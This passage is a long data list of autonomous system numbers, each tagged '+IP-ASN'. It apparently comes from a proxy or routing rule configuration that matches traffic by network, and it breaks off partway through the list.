53978 +IP-ASN, 53979 +IP-ASN, 400858 +IP-ASN, 53976 +IP-ASN, 53970 +IP-ASN, 53971 +IP-ASN, 400851 +IP-ASN, 400852 +IP-ASN, 53974 +IP-ASN, 400853 +IP-ASN, 53975 +IP-ASN, 400855 +IP-ASN, 53973 +IP-ASN, 400856 +IP-ASN, 51312 +IP-ASN, 40677 +IP-ASN, 40678 +IP-ASN, 40670 +IP-ASN, 40675 +IP-ASN, 40676 +IP-ASN, 40673 +IP-ASN, 40674 +IP-ASN, 53989 +IP-ASN, 400869 +IP-ASN, 53988 +IP-ASN, 53981 +IP-ASN, 400860 +IP-ASN, 400861 +IP-ASN, 400862 +IP-ASN, 53980 +IP-ASN, 53985 +IP-ASN, 53986 +IP-ASN, 53983 +IP-ASN, 400866 +IP-ASN, 53984 +IP-ASN, 63326 +IP-ASN, 63328 +IP-ASN, 63329 +IP-ASN, 40689 +IP-ASN, 40683 +IP-ASN, 40680 +IP-ASN, 63321 +IP-ASN, 40681 +IP-ASN, 40686 +IP-ASN, 63322 +IP-ASN, 63323 +IP-ASN, 40687 +IP-ASN, 63324 +IP-ASN, 40684 +IP-ASN, 63325 +IP-ASN, 40685 +IP-ASN, 400835 +IP-ASN, 400836 +IP-ASN, 400837 +IP-ASN, 199948 +IP-ASN, 53993 +IP-ASN, 53990 +IP-ASN, 53991 +IP-ASN, 400830 +IP-ASN, 53996 +IP-ASN, 400831 +IP-ASN, 63316 +IP-ASN, 63317 +IP-ASN, 63319 +IP-ASN, 40693 +IP-ASN, 40694 +IP-ASN, 40691 +IP-ASN, 63310 +IP-ASN, 63311 +IP-ASN, 40695 +IP-ASN, 63313 +IP-ASN, 63314 +IP-ASN, 40696 +IP-ASN, 400846 +IP-ASN, 400842 +IP-ASN, 400843 +IP-ASN, 16912 +IP-ASN, 399458 +IP-ASN, 398125 +IP-ASN, 16910 +IP-ASN, 399457 +IP-ASN, 3789 +IP-ASN, 398126 +IP-ASN, 3782 +IP-ASN, 399454 +IP-ASN, 398123 +IP-ASN, 399455 +IP-ASN, 398124 +IP-ASN, 16915 +IP-ASN, 16914 +IP-ASN, 16913 +IP-ASN, 399453 +IP-ASN, 16919 +IP-ASN, 398129 +IP-ASN, 151817 +IP-ASN, 399450 +IP-ASN, 399451 +IP-ASN, 398120 +IP-ASN, 398138 +IP-ASN, 399469 +IP-ASN, 16901 +IP-ASN, 16900 +IP-ASN, 399467 +IP-ASN, 398136 +IP-ASN, 16905 +IP-ASN, 398134 +IP-ASN, 16904 +IP-ASN, 3794 +IP-ASN, 398135 +IP-ASN, 3795 +IP-ASN, 16903 +IP-ASN, 399463 +IP-ASN, 16908 +IP-ASN, 398130 +IP-ASN, 399462 +IP-ASN, 398131 +IP-ASN, 3791 +IP-ASN, 398149 +IP-ASN, 398147 +IP-ASN, 398148 +IP-ASN, 399476 +IP-ASN, 398145 +IP-ASN, 398146 +IP-ASN, 399477 +IP-ASN, 398143 +IP-ASN, 398144 +IP-ASN, 400992 +IP-ASN, 399472 +IP-ASN, 400994 +IP-ASN, 398140 +IP-ASN, 399471 +IP-ASN, 400996 +IP-ASN, 399489 +IP-ASN, 398159 +IP-ASN, 398156 +IP-ASN, 399488 +IP-ASN, 399485 +IP-ASN, 398154 +IP-ASN, 398155 +IP-ASN, 399483 +IP-ASN, 398152 +IP-ASN, 399484 +IP-ASN, 399482 +IP-ASN, 398151 +IP-ASN, 3742 +IP-ASN, 3743 +IP-ASN, 398169 +IP-ASN, 3745 +IP-ASN, 399498 +IP-ASN, 398168 +IP-ASN, 399499 +IP-ASN, 399496 +IP-ASN, 399497 +IP-ASN, 3746 +IP-ASN, 398163 +IP-ASN, 398164 +IP-ASN, 399492 +IP-ASN, 398162 +IP-ASN, 399493 +IP-ASN, 399490 +IP-ASN, 399491 +IP-ASN, 398160 +IP-ASN, 39600 +IP-ASN, 3754 +IP-ASN, 3755 +IP-ASN, 3756 +IP-ASN, 398178 +IP-ASN, 398176 +IP-ASN, 3751 +IP-ASN, 398177 +IP-ASN, 53907 +IP-ASN, 53901 +IP-ASN, 53900 +IP-ASN, 53903 +IP-ASN, 398175 +IP-ASN, 398172 +IP-ASN, 398173 +IP-ASN, 398171 +IP-ASN, 40600 +IP-ASN, 40606 +IP-ASN, 398189 +IP-ASN, 40607 +IP-ASN, 39618 +IP-ASN, 40604 +IP-ASN, 3762 +IP-ASN, 398187 +IP-ASN, 3763 +IP-ASN, 398188 +IP-ASN, 53918 +IP-ASN, 3769 +IP-ASN, 53911 +IP-ASN, 53914 +IP-ASN, 53915 +IP-ASN, 398185 +IP-ASN, 398183 +IP-ASN, 40608 +IP-ASN, 398180 +IP-ASN, 40614 +IP-ASN, 3776 +IP-ASN, 3777 +IP-ASN, 3778 +IP-ASN, 40618 +IP-ASN, 398198 +IP-ASN, 40615 +IP-ASN, 40616 +IP-ASN, 398199 +IP-ASN, 53929 +IP-ASN, 53927 +IP-ASN, 149513 +IP-ASN, 53928 +IP-ASN, 53925 +IP-ASN, 53926 +IP-ASN, 398196 +IP-ASN, 398194 +IP-ASN, 40619 +IP-ASN, 3770 +IP-ASN, 398195 +IP-ASN, 398192 +IP-ASN, 398193 +IP-ASN, 398191 +IP-ASN, 14337 +IP-ASN, 16999 +IP-ASN, 3700 +IP-ASN, 14335 +IP-ASN, 16998 +IP-ASN, 3701 +IP-ASN, 3708 +IP-ASN, 3709 +IP-ASN, 26324 +IP-ASN, 3704 +IP-ASN, 3705 +IP-ASN, 27646 +IP-ASN, 27647 +IP-ASN, 26319 +IP-ASN, 14340 +IP-ASN, 14345 +IP-ASN, 14343 +IP-ASN, 16989 +IP-ASN, 14327 +IP-ASN, 16988 +IP-ASN, 16987 +IP-ASN, 14325 +IP-ASN, 16986 +IP-ASN, 14328 +IP-ASN, 14329 +IP-ASN, 63296 +IP-ASN, 63298 +IP-ASN, 27640 +IP-ASN, 3719 +IP-ASN, 63299 +IP-ASN, 26311 +IP-ASN, 3713 +IP-ASN, 3714 +IP-ASN, 27641 +IP-ASN, 3715 +IP-ASN, 27644 +IP-ASN, 26304 +IP-ASN, 27634 +IP-ASN, 26303 +IP-ASN, 26306 +IP-ASN, 27637 +IP-ASN, 26305 +IP-ASN, 27636 +IP-ASN, 27639 +IP-ASN, 26308 +IP-ASN, 26307 +IP-ASN, 16992 +IP-ASN, 16991 +IP-ASN, 14333 +IP-ASN, 16996 +IP-ASN, 14334 +IP-ASN, 16994 +IP-ASN, 16993 +IP-ASN, 14332 +IP-ASN, 14315 +IP-ASN, 16978 +IP-ASN, 3722 +IP-ASN, 14313 +IP-ASN, 14314 +IP-ASN, 14319 +IP-ASN, 14317 +IP-ASN, 16979 +IP-ASN, 3729 +IP-ASN, 27631 +IP-ASN, 3724 +IP-ASN, 27630 +IP-ASN, 3725 +IP-ASN, 26302 +IP-ASN, 27632 +IP-ASN, 3727 +IP-ASN, 27624 +IP-ASN, 27626 +IP-ASN, 27625 +IP-ASN, 16981 +IP-ASN, 14320 +IP-ASN, 14321 +IP-ASN, 16982 +IP-ASN, 14304 +IP-ASN, 16967 +IP-ASN, 399404 +IP-ASN, 14305 +IP-ASN, 399401 +IP-ASN, 14302 +IP-ASN, 3734 +IP-ASN, 14308 +IP-ASN, 399400 +IP-ASN, 16969 +IP-ASN, 14306 +IP-ASN, 3730 +IP-ASN, 399407 +IP-ASN, 399408 +IP-ASN, 3736 +IP-ASN, 3737 +IP-ASN, 27622 +IP-ASN, 3738 +IP-ASN, 399406 +IP-ASN, 27621 +IP-ASN, 27615 +IP-ASN, 27614 +IP-ASN, 27616 +IP-ASN, 16970 +IP-ASN, 14312 +IP-ASN, 14310 +IP-ASN, 16971 +IP-ASN, 16956 +IP-ASN, 16955 +IP-ASN, 399415 +IP-ASN, 16954 +IP-ASN, 399413 +IP-ASN, 399411 +IP-ASN, 16959 +IP-ASN, 16958 +IP-ASN, 16957 +IP-ASN, 399419 +IP-ASN, 27611 +IP-ASN, 399416 +IP-ASN, 27610 +IP-ASN, 399417 +IP-ASN, 27602 +IP-ASN, 27604 +IP-ASN, 27603 +IP-ASN, 27608 +IP-ASN, 27607 +IP-ASN, 27609 +IP-ASN, 14300 +IP-ASN, 14301 +IP-ASN, 16961 +IP-ASN, 399425 +IP-ASN, 16942 +IP-ASN, 399424 +IP-ASN, 399421 +IP-ASN, 16948 +IP-ASN, 16947 +IP-ASN, 27600 +IP-ASN, 16952 +IP-ASN, 16950 +IP-ASN, 398105 +IP-ASN, 399436 +IP-ASN, 16934 +IP-ASN, 398106 +IP-ASN, 399437 +IP-ASN, 16933 +IP-ASN, 399434 +IP-ASN, 398103 +IP-ASN, 16931 +IP-ASN, 398104 +IP-ASN, 399435 +IP-ASN, 399432 +IP-ASN, 398101 +IP-ASN, 16938 +IP-ASN, 398102 +IP-ASN, 16937 +IP-ASN, 399433 +IP-ASN, 399430 +IP-ASN, 16939 +IP-ASN, 398109 +IP-ASN, 398107 +IP-ASN, 399439 +IP-ASN, 398108 +IP-ASN, 16941 +IP-ASN, 16940 +IP-ASN, 398116 +IP-ASN, 399447 +IP-ASN, 398117 +IP-ASN, 16922 +IP-ASN, 399448 +IP-ASN, 16921 +IP-ASN, 399445 +IP-ASN, 398114 +IP-ASN, 16920 +IP-ASN, 399443 +IP-ASN, 398112 +IP-ASN, 16927 +IP-ASN, 398113 +IP-ASN, 399441 +IP-ASN, 398110 +IP-ASN, 16925 +IP-ASN, 398111 +IP-ASN, 16929 +IP-ASN, 16928 +IP-ASN, 399449 +IP-ASN, 398118 +IP-ASN, 398119 +IP-ASN, 399440 +IP-ASN, 28907 +IP-ASN, 63229 +IP-ASN, 26280 +IP-ASN, 26283 +IP-ASN, 26282 +IP-ASN, 40583 +IP-ASN, 40584 +IP-ASN, 26284 +IP-ASN, 40581 +IP-ASN, 26287 +IP-ASN, 63221 +IP-ASN, 63222 +IP-ASN, 26286 +IP-ASN, 26289 +IP-ASN, 40587 +IP-ASN, 40588 +IP-ASN, 40585 +IP-ASN, 63226 +IP-ASN, 40586 +IP-ASN, 40590 +IP-ASN, 40591 +IP-ASN, 53893 +IP-ASN, 53897 +IP-ASN, 53895 +IP-ASN, 63217 +IP-ASN, 63219 +IP-ASN, 207020 +IP-ASN, 26272 +IP-ASN, 26271 +IP-ASN, 207023 +IP-ASN, 40594 +IP-ASN, 63210 +IP-ASN, 40592 +IP-ASN, 26276 +IP-ASN, 40593 +IP-ASN, 26275 +IP-ASN, 26278 +IP-ASN, 26277 +IP-ASN, 40599 +IP-ASN, 63214 +IP-ASN, 40596 +IP-ASN, 63215 +IP-ASN, 14292 +IP-ASN, 14290 +IP-ASN, 14291 +IP-ASN, 14296 +IP-ASN, 198585 +IP-ASN, 14297 +IP-ASN, 14298 +IP-ASN, 14299 +IP-ASN, 63249 +IP-ASN, 27590 +IP-ASN, 27592 +IP-ASN, 26261 +IP-ASN, 63241 +IP-ASN, 27594 +IP-ASN, 26263 +IP-ASN, 63242 +IP-ASN, 26265 +IP-ASN, 63243 +IP-ASN, 27596 +IP-ASN, 63244 +IP-ASN, 27595 +IP-ASN, 26264 +IP-ASN, 63245 +IP-ASN, 27597 +IP-ASN, 26269 +IP-ASN, 63247 +IP-ASN, 63248 +IP-ASN, 26259 +IP-ASN, 14280 +IP-ASN, 63251 +IP-ASN, 14283 +IP-ASN, 14289 +IP-ASN, 210660 +IP-ASN, 14287 +IP-ASN, 14288 +IP-ASN, 63238 +IP-ASN, 26250 +IP-ASN, 27580 +IP-ASN, 26252 +IP-ASN, 27583 +IP-ASN, 63231 +IP-ASN, 26251 +IP-ASN, 26254 +IP-ASN, 27585 +IP-ASN, 26253 +IP-ASN, 63233 +IP-ASN, 63234 +IP-ASN, 26255 +IP-ASN, 27589 +IP-ASN, 26258 +IP-ASN, 63237 +IP-ASN, 26257 +IP-ASN, 210659 +IP-ASN, 14272 +IP-ASN, 14278 +IP-ASN, 14279 +IP-ASN, 14277 +IP-ASN, 26241 +IP-ASN, 27572 +IP-ASN, 63263 +IP-ASN, 63264 +IP-ASN, 26243 +IP-ASN, 63266 +IP-ASN, 27573 +IP-ASN, 26245 +IP-ASN, 63267 +IP-ASN, 26244 +IP-ASN, 63268 +IP-ASN, 27575 +IP-ASN, 27578 +IP-ASN, 26247 +IP-ASN, 63269 +IP-ASN, 27569 +IP-ASN, 26237 +IP-ASN, 27568 +IP-ASN, 26239 +IP-ASN, 63270 +IP-ASN, 63273 +IP-ASN, 14263 +IP-ASN, 14264 +IP-ASN, 14262 +IP-ASN, 14267 +IP-ASN, 14265 +IP-ASN, 27561 +IP-ASN, 63252 +IP-ASN, 63253 +IP-ASN, 27560 +IP-ASN, 63254 +IP-ASN, 63255 +IP-ASN, 26231 +IP-ASN, 27562 +IP-ASN, 26234 +IP-ASN, 27565 +IP-ASN, 27564 +IP-ASN, 63258 +IP-ASN, 27566 +IP-ASN, 63259 +IP-ASN, 400901 +IP-ASN, 26226 +IP-ASN, 400902 +IP-ASN, 27557 +IP-ASN, 26229 +IP-ASN, 400903 +IP-ASN, 27559 +IP-ASN, 400904 +IP-ASN, 63260 +IP-ASN, 63261 +IP-ASN, 14252 +IP-ASN, 210630 +IP-ASN, 14251 +IP-ASN, 14257 +IP-ASN, 400900 +IP-ASN, 14255 +IP-ASN, 14238 +IP-ASN, 14239 +IP-ASN, 16899 +IP-ASN, 14236 +IP-ASN, 14237 +IP-ASN, 16898 +IP-ASN, 63285 +IP-ASN, 27550 +IP-ASN, 27552 +IP-ASN, 63287 +IP-ASN, 26220 +IP-ASN, 26223 +IP-ASN, 27554 +IP-ASN, 63289 +IP-ASN, 27553 +IP-ASN, 26225 +IP-ASN, 27556 +IP-ASN, 27555 +IP-ASN, 26224 +IP-ASN, 26216 +IP-ASN, 26215 +IP-ASN, 63290 +IP-ASN, 27549 +IP-ASN, 63291 +IP-ASN, 27548 +IP-ASN, 26217 +IP-ASN, 63293 +IP-ASN, 26219 +IP-ASN, 63294 +IP-ASN, 63295 +IP-ASN, 14241 +IP-ASN, 14242 +IP-ASN, 14245 +IP-ASN, 14246 +IP-ASN, 14243 +IP-ASN, 14244 +IP-ASN, 14227 +IP-ASN, 14228 +IP-ASN, 16889 +IP-ASN, 14226 +IP-ASN, 16887 +IP-ASN, 63274 +IP-ASN, 63275 +IP-ASN, 63276 +IP-ASN, 27541 +IP-ASN, 63277 +IP-ASN, 27543 +IP-ASN, 26211 +IP-ASN, 63279 +IP-ASN, 209622 +IP-ASN, 26214 +IP-ASN, 27545 +IP-ASN, 27544 +IP-ASN, 26213 +IP-ASN, 27536 +IP-ASN, 63280 +IP-ASN, 26209 +IP-ASN, 63281 +IP-ASN, 26208 +IP-ASN, 27539 +IP-ASN, 63282 +IP-ASN, 63283 +IP-ASN, 211946 +IP-ASN, 63284 +IP-ASN, 14230 +IP-ASN, 14235 +IP-ASN, 16896 +IP-ASN, 16895 +IP-ASN, 14233 +IP-ASN, 40503 +IP-ASN, 40501 +IP-ASN, 1088 +IP-ASN, 40502 +IP-ASN, 1087 +IP-ASN, 40507 +IP-ASN, 40508 +IP-ASN, 40505 +IP-ASN, 40506 +IP-ASN, 53819 +IP-ASN, 53813 +IP-ASN, 53814 +IP-ASN, 400935 +IP-ASN, 53811 +IP-ASN, 53812 +IP-ASN, 53818 +IP-ASN, 53816 +IP-ASN, 1082 +IP-ASN, 40509 +IP-ASN, 1080 +IP-ASN, 400930 +IP-ASN, 1086 +IP-ASN, 400931 +IP-ASN, 1084 +IP-ASN, 400932 +IP-ASN, 400933 +IP-ASN, 1083 +IP-ASN, 1099 +IP-ASN, 40513 +IP-ASN, 1098 +IP-ASN, 40518 +IP-ASN, 40510 +IP-ASN, 40511 +IP-ASN, 53824 +IP-ASN, 53825 +IP-ASN, 400946 +IP-ASN, 53823 +IP-ASN, 53828 +IP-ASN, 53826 +IP-ASN, 1097 +IP-ASN, 400943 +IP-ASN, 400944 +IP-ASN, 40525 +IP-ASN, 40526 +IP-ASN, 40523 +IP-ASN, 40524 +IP-ASN, 40527 +IP-ASN, 40528 +IP-ASN, 400909 +IP-ASN, 207098 +IP-ASN, 40521 +IP-ASN, 40522 +IP-ASN, 40520 +IP-ASN, 400912 +IP-ASN, 400913 +IP-ASN, 53834 +IP-ASN, 53839 +IP-ASN, 400917 +IP-ASN, 53837 +IP-ASN, 400919 +IP-ASN, 53838 +IP-ASN, 53831 +IP-ASN, 53832 +IP-ASN, 53830 +IP-ASN, 40537 +IP-ASN, 40534 +IP-ASN, 40539 +IP-ASN, 207088 +IP-ASN, 40532 +IP-ASN, 40533 +IP-ASN, 40530 +IP-ASN, 40531 +IP-ASN, 400923 +IP-ASN, 53846 +IP-ASN, 53847 +IP-ASN, 400924 +IP-ASN, 53845 +IP-ASN, 400927 +IP-ASN, 53848 +IP-ASN, 53849 +IP-ASN, 53843 +IP-ASN, 400920 +IP-ASN, 53840 +IP-ASN, 53841 +IP-ASN, 40547 +IP-ASN, 40548 +IP-ASN, 1045 +IP-ASN, 2379 +IP-ASN, 207071 +IP-ASN, 40545 +IP-ASN, 1044 +IP-ASN, 40549 +IP-ASN, 40540 +IP-ASN, 40544 +IP-ASN, 40541 +IP-ASN, 53858 +IP-ASN, 53855 +IP-ASN, 53856 +IP-ASN, 53859 +IP-ASN, 53850 +IP-ASN, 53853 +IP-ASN, 400974 +IP-ASN, 1041 +IP-ASN, 53854 +IP-ASN, 1040 +IP-ASN, 53851 +IP-ASN, 40558 +IP-ASN, 1057 +IP-ASN, 40559 +IP-ASN, 1055 +IP-ASN, 207063 +IP-ASN, 2386 +IP-ASN, 40551 +IP-ASN, 40554 +IP-ASN, 40555 +IP-ASN, 40552 +IP-ASN, 40553 +IP-ASN, 400989 +IP-ASN, 53869 +IP-ASN, 53866 +IP-ASN, 2381 +IP-ASN, 53861 +IP-ASN, 2384 +IP-ASN, 1053 +IP-ASN, 53865 +IP-ASN, 1052 +IP-ASN, 53862 +IP-ASN, 1050 +IP-ASN, 63205 +IP-ASN, 63206 +IP-ASN, 1067 +IP-ASN, 40567 +IP-ASN, 63207 +IP-ASN, 1065 +IP-ASN, 63209 +IP-ASN, 1069 +IP-ASN, 63201 +IP-ASN, 40565 +IP-ASN, 40566 +IP-ASN, 40564 +IP-ASN, 63204 +IP-ASN, 400957 +IP-ASN, 400958 +IP-ASN, 53878 +IP-ASN, 400959 +IP-ASN, 53871 +IP-ASN, 53872 +IP-ASN, 400950 +IP-ASN, 1064 +IP-ASN, 53873 +IP-ASN, 1062 +IP-ASN, 53874 +IP-ASN, 1078 +IP-ASN, 40578 +IP-ASN, 26290 +IP-ASN, 1077 +IP-ASN, 40579 +IP-ASN, 26292 +IP-ASN, 26291 +IP-ASN, 26293 +IP-ASN, 40572 +IP-ASN, 26296 +IP-ASN, 26298 +IP-ASN, 26297 +IP-ASN, 40577 +IP-ASN, 208379 +IP-ASN, 400967 +IP-ASN, 53888 +IP-ASN, 53889 +IP-ASN, 40580 +IP-ASN, 53882 +IP-ASN, 53883 +IP-ASN, 400962 +IP-ASN, 53881 +IP-ASN, 53886 +IP-ASN, 1075 +IP-ASN, 1073 +IP-ASN, 1072 +IP-ASN, 399579 +IP-ASN, 2576 +IP-ASN, 398249 +IP-ASN, 2577 +IP-ASN, 398246 +IP-ASN, 399577 +IP-ASN, 399578 +IP-ASN, 2579 +IP-ASN, 398247 +IP-ASN, 2572 +IP-ASN, 399575 +IP-ASN, 398245 +IP-ASN, 398242 +IP-ASN, 1246 +IP-ASN, 399573 +IP-ASN, 399574 +IP-ASN, 398243 +IP-ASN, 2575 +IP-ASN, 1249 +IP-ASN, 398240 +IP-ASN, 399571 +IP-ASN, 398241 +IP-ASN, 399572 +IP-ASN, 399570 +IP-ASN, 1255 +IP-ASN, 399589 +IP-ASN, 398258 +IP-ASN, 1252 +IP-ASN, 399586 +IP-ASN, 398255 +IP-ASN, 1258 +IP-ASN, 399584 +IP-ASN, 1256 +IP-ASN, 398254 +IP-ASN, 399582 +IP-ASN, 398252 +IP-ASN, 1265 +IP-ASN, 398269 +IP-ASN, 398266 +IP-ASN, 398267 +IP-ASN, 399598 +IP-ASN, 399596 +IP-ASN, 398265 +IP-ASN, 399593 +IP-ASN, 398263 +IP-ASN, 398260 +IP-ASN, 399592 +IP-ASN, 398261 +IP-ASN, 1261 +IP-ASN, 1277 +IP-ASN, 398279 +IP-ASN, 398277 +IP-ASN, 398275 +IP-ASN, 398274 +IP-ASN, 398270 +IP-ASN, 2532 +IP-ASN, 2534 +IP-ASN, 137437 +IP-ASN, 2535 +IP-ASN, 1204 +IP-ASN, 398289 +IP-ASN, 398286 +IP-ASN, 1201 +IP-ASN, 398287 +IP-ASN, 1208 +IP-ASN, 1207 +IP-ASN, 1206 +IP-ASN, 2539 +IP-ASN, 398284 +IP-ASN, 398282 +IP-ASN, 398280 +IP-ASN, 2544 +IP-ASN, 1215 +IP-ASN, 398297 +IP-ASN, 398298 +IP-ASN, 1219 +IP-ASN, 1218 +IP-ASN, 1217 +IP-ASN, 1216 +IP-ASN, 398295 +IP-ASN, 398296 +IP-ASN, 398294 +IP-ASN, 398291 +IP-ASN, 1222 +IP-ASN, 1226 +IP-ASN, 1225 +IP-ASN, 2552 +IP-ASN, 1224 +IP-ASN, 2553 +IP-ASN, 2559 +IP-ASN, 2567 +IP-ASN, 2562 +IP-ASN, 1239 +IP-ASN, 53808 +IP-ASN, 53809 +IP-ASN, 53802 +IP-ASN, 53806 +IP-ASN, 53804 +IP-ASN, 14216 +IP-ASN, 3820 +IP-ASN, 16877 +IP-ASN, 16876 +IP-ASN, 14219 +IP-ASN, 63186 +IP-ASN, 3828 +IP-ASN, 27530 +IP-ASN, 63189 +IP-ASN, 27531 +IP-ASN, 26200 +IP-ASN, 26202 +IP-ASN, 3826 +IP-ASN, 27533 +IP-ASN, 63190 +IP-ASN, 27524 +IP-ASN, 211936 +IP-ASN, 63191 +IP-ASN, 27527 +IP-ASN, 27526 +IP-ASN, 27529 +IP-ASN, 63193 +IP-ASN, 63194 +IP-ASN, 63195 +IP-ASN, 63196 +IP-ASN, 16882 +IP-ASN, 16881 +IP-ASN, 14220 +IP-ASN, 16880 +IP-ASN, 16886 +IP-ASN, 14223 +IP-ASN, 14224 +IP-ASN, 16884 +IP-ASN, 14221 +IP-ASN, 14222 +IP-ASN, 16868 +IP-ASN, 14205 +IP-ASN, 399502 +IP-ASN, 399503 +IP-ASN, 16867 +IP-ASN, 14203 +IP-ASN, 3832 +IP-ASN, 3833 +IP-ASN, 399501 +IP-ASN, 14209 +IP-ASN, 14207 +IP-ASN, 14208 +IP-ASN, 63178 +IP-ASN, 27521 +IP-ASN, 63179 +IP-ASN, 3834 +IP-ASN, 399507 +IP-ASN, 27523 +IP-ASN, 399504 +IP-ASN, 399505 +IP-ASN, 27514 +IP-ASN, 63180 +IP-ASN, 27516 +IP-ASN, 27515 +IP-ASN, 63182 +IP-ASN, 27518 +IP-ASN, 27517 +IP-ASN, 63184 +IP-ASN, 27519 +IP-ASN, 63185 +IP-ASN, 16871 +IP-ASN, 16875 +IP-ASN, 14212 +IP-ASN, 14210 +IP-ASN, 16873 +IP-ASN, 14211 +IP-ASN, 16872 +IP-ASN, 399513 +IP-ASN, 3842 +IP-ASN, 399514 +IP-ASN, 16856 +IP-ASN, 16855 +IP-ASN, 399512 +IP-ASN, 16854 +IP-ASN, 399510 +IP-ASN, 16859 +IP-ASN, 399519 +IP-ASN, 399517 +IP-ASN, 27510 +IP-ASN, 399518 +IP-ASN, 3847 +IP-ASN, 27512 +IP-ASN, 27511 +IP-ASN, 399516 +IP-ASN, 27502 +IP-ASN, 27507 +IP-ASN, 27506 +IP-ASN, 27508 +IP-ASN, 16860 +IP-ASN, 14201 +IP-ASN, 16863 +IP-ASN, 16861 +IP-ASN, 14200 +IP-ASN, 399524 +IP-ASN, 16846 +IP-ASN, 3853 +IP-ASN, 399525 +IP-ASN, 399522 +IP-ASN, 16844 +IP-ASN, 16843 +IP-ASN, 399520 +IP-ASN, 399521 +IP-ASN, 16848 +IP-ASN, 3850 +IP-ASN, 3851 +IP-ASN, 63198 +IP-ASN, 63199 +IP-ASN, 3856 +IP-ASN, 399529 +IP-ASN, 27501 +IP-ASN, 3858 +IP-ASN, 399527 +IP-ASN, 27500 +IP-ASN, 16851 +IP-ASN, 398204 +IP-ASN, 16835 +IP-ASN, 398205 +IP-ASN, 398202 +IP-ASN, 16833 +IP-ASN, 399533 +IP-ASN, 398203 +IP-ASN, 16832 +IP-ASN, 16839 +IP-ASN, 398200 +IP-ASN, 16838 +IP-ASN, 399532 +IP-ASN, 398201 +IP-ASN, 16837 +IP-ASN, 399530 +IP-ASN, 399539 +IP-ASN, 398208 +IP-ASN, 398206 +IP-ASN, 398207 +IP-ASN, 16842 +IP-ASN, 16841 +IP-ASN, 16840 +IP-ASN, 399546 +IP-ASN, 16824 +IP-ASN, 16823 +IP-ASN, 16822 +IP-ASN, 399544 +IP-ASN, 398213 +IP-ASN, 398214 +IP-ASN, 399545 +IP-ASN, 16821 +IP-ASN, 398212 +IP-ASN, 16827 +IP-ASN, 399540 +IP-ASN, 16826 +IP-ASN, 399541 +IP-ASN, 398210 +IP-ASN, 16825 +IP-ASN, 398219 +IP-ASN, 399549 +IP-ASN, 16831 +IP-ASN, 16830 +IP-ASN, 16813 +IP-ASN, 16811 +IP-ASN, 398224 +IP-ASN, 3800 +IP-ASN, 399556 +IP-ASN, 399553 +IP-ASN, 398222 +IP-ASN, 398223 +IP-ASN, 399554 +IP-ASN, 16816 +IP-ASN, 16815 +IP-ASN, 399551 +IP-ASN, 399552 +IP-ASN, 3807 +IP-ASN, 16818 +IP-ASN, 3801 +IP-ASN, 399559 +IP-ASN, 398229 +IP-ASN, 16820 +IP-ASN, 399568 +IP-ASN, 16801 +IP-ASN, 399569 +IP-ASN, 3810 +IP-ASN, 399566 +IP-ASN, 398236 +IP-ASN, 398233 +IP-ASN, 16805 +IP-ASN, 399565 +IP-ASN, 398234 +IP-ASN, 399562 +IP-ASN, 16803 +IP-ASN, 398232 +IP-ASN, 399563 +IP-ASN, 16809 +IP-ASN, 16807 +IP-ASN, 399560 +IP-ASN, 398230 +IP-ASN, 399561 +IP-ASN, 63107 +IP-ASN, 40468 +IP-ASN, 63108 +IP-ASN, 63109 +IP-ASN, 40469 +IP-ASN, 26160 +IP-ASN, 53780 +IP-ASN, 27490 +IP-ASN, 26161 +IP-ASN, 40462 +IP-ASN, 40460 +IP-ASN, 63100 +IP-ASN, 40461 +IP-ASN, 27496 +IP-ASN, 26165 +IP-ASN, 63102 +IP-ASN, 27499 +IP-ASN, 26168 +IP-ASN, 26167 +IP-ASN, 63103 +IP-ASN, 40467 +IP-ASN, 40464 +IP-ASN, 63104 +IP-ASN, 63105 +IP-ASN, 53778 +IP-ASN, 53779 +IP-ASN, 14182 +IP-ASN, 14183 +IP-ASN, 39482 +IP-ASN, 53773 +IP-ASN, 53770 +IP-ASN, 14184 +IP-ASN, 53771 +IP-ASN, 53777 +IP-ASN, 14188 +IP-ASN, 53775 +IP-ASN, 210562 +IP-ASN, 40479 +IP-ASN, 27480 +IP-ASN, 26151 +IP-ASN, 27482 +IP-ASN, 26150 +IP-ASN, 26153 +IP-ASN, 27483 +IP-ASN, 26152 +IP-ASN, 40471 +IP-ASN, 27486 +IP-ASN, 26154 +IP-ASN, 40477 +IP-ASN, 26157 +IP-ASN, 26156 +IP-ASN, 27487 +IP-ASN, 40475 +IP-ASN, 26159 +IP-ASN, 40476 +IP-ASN, 26158 +IP-ASN, 53789 +IP-ASN, 40480 +IP-ASN, 40481 +IP-ASN, 14170 +IP-ASN, 14175 +IP-ASN, 53784 +IP-ASN, 53782 +IP-ASN, 14174 +IP-ASN, 53787 +IP-ASN, 53785 +IP-ASN, 53786 +IP-ASN, 14159 +IP-ASN, 27471 +IP-ASN, 26142 +IP-ASN, 63120 +IP-ASN, 26141 +IP-ASN, 40485 +IP-ASN, 27475 +IP-ASN, 40482 +IP-ASN, 26144 +IP-ASN, 63123 +IP-ASN, 27474 +IP-ASN, 26143 +IP-ASN, 27477 +IP-ASN, 40488 +IP-ASN, 63125 +IP-ASN, 40489 +IP-ASN, 27479 +IP-ASN, 26148 +IP-ASN, 27478 +IP-ASN, 26147 +IP-ASN, 26139 +IP-ASN, 14160 +IP-ASN, 40491 +IP-ASN, 14161 +IP-ASN, 40492 +IP-ASN, 63130 +IP-ASN, 40490 +IP-ASN, 53794 +IP-ASN, 14165 +IP-ASN, 14162 +IP-ASN, 14163 +IP-ASN, 53793 +IP-ASN, 53799 +IP-ASN, 14169 +IP-ASN, 53796 +IP-ASN, 53797 +IP-ASN, 14167 +IP-ASN, 63117 +IP-ASN, 63118 +IP-ASN, 14148 +IP-ASN, 14149 +IP-ASN, 40495 +IP-ASN, 27462 +IP-ASN, 26131 +IP-ASN, 27461 +IP-ASN, 40496 +IP-ASN, 63111 +IP-ASN, 26133 +IP-ASN, 40493 +IP-ASN, 63112 +IP-ASN, 40494 +IP-ASN, 26132 +IP-ASN, 40499 +IP-ASN, 26135 +IP-ASN, 26134 +IP-ASN, 63114 +IP-ASN, 27465 +IP-ASN, 40497 +IP-ASN, 26137 +IP-ASN, 63115 +IP-ASN, 27468 +IP-ASN, 40498 +IP-ASN, 63116 +IP-ASN, 27459 +IP-ASN, 26128 +IP-ASN, 27458 +IP-ASN, 26127 +IP-ASN, 26129 +IP-ASN, 210532 +IP-ASN, 14153 +IP-ASN, 198487 +IP-ASN, 14151 +IP-ASN, 14157 +IP-ASN, 14155 +IP-ASN, 14139 +IP-ASN, 14137 +IP-ASN, 16799 +IP-ASN, 63142 +IP-ASN, 27451 +IP-ASN, 26120 +IP-ASN, 